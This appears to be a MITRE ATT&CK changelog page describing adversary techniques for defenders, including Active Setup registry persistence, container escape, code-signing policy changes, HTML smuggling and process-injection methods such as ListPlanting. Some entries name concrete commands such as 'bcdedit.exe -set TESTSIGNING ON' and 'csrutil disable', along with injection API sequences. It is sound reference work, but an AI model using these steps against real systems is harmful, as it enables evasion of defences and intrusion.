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These ATT&CK Navigator layer files can be uploaded to ATT&CK Navigator manually.
This JSON file contains the machine readble output used to create this page: changelog.json
Current version: 1.0
Description: Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.
Adversaries may abuse Active Setup by creating a key under HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\ and setting a malicious value for StubPath. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)
Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
Current version: 1.2
Description: Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)
An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.
Current version: 1.0
Description: Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure. Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .
Current version: 1.0
Description: Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)
Current version: 1.0
Description: Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.
Some of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)
Adversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)
To gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)
Current version: 1.1
Description: Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API) An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.
Current version: 1.1
Description: Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)
In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)
Current version: 1.2
Description: Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
Current version: 1.0
Description: Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster. These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.
Current version: 1.0
Description: Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: 1. The client broadcasts a `DISCOVER` message. 2. The server responds with an `OFFER` message, which includes an available network address. 3. The client broadcasts a `REQUEST` message, which includes the network address offered. 4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters. Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network. Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e. [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.
Current version: 1.0
Description: Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)
Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.
Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)
Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)
Current version: 1.1
Description: Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.
Containers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
Current version: 1.0
Description: Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)
Current version: 1.0
Description: Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains. Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.
Current version: 1.0
Description: Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)
Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)
Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.
Current version: 1.1
Description: Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging) Adversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)
Current version: 1.2
Description: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Adversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox) Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
Current version: 1.1
Description: Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)
Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.
Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)
Current version: 1.2
Description: Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, or utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.
Current version: 1.2
Description: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)
Current version: 1.0
Description: Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Adversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.
Current version: 1.0
Description: Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.
Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)
For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)
Current version: 1.0
Description: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)
Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.
For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)
Current version: 1.0
Description: Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)
Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)
Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)
Current version: 1.1
Description: Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert) Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).
Current version: 1.0
Description: Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.
Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
Current version: 1.0
Description: Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)
An adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.
A pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)
The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.
Current version: 1.1
Description: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.
Current version: 1.0
Description: Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.
List-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.
ListPlanting (a form of message-passing "shatter attack") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.
Some variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020)
Finally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.
Current version: 1.0
Description: Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.
Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
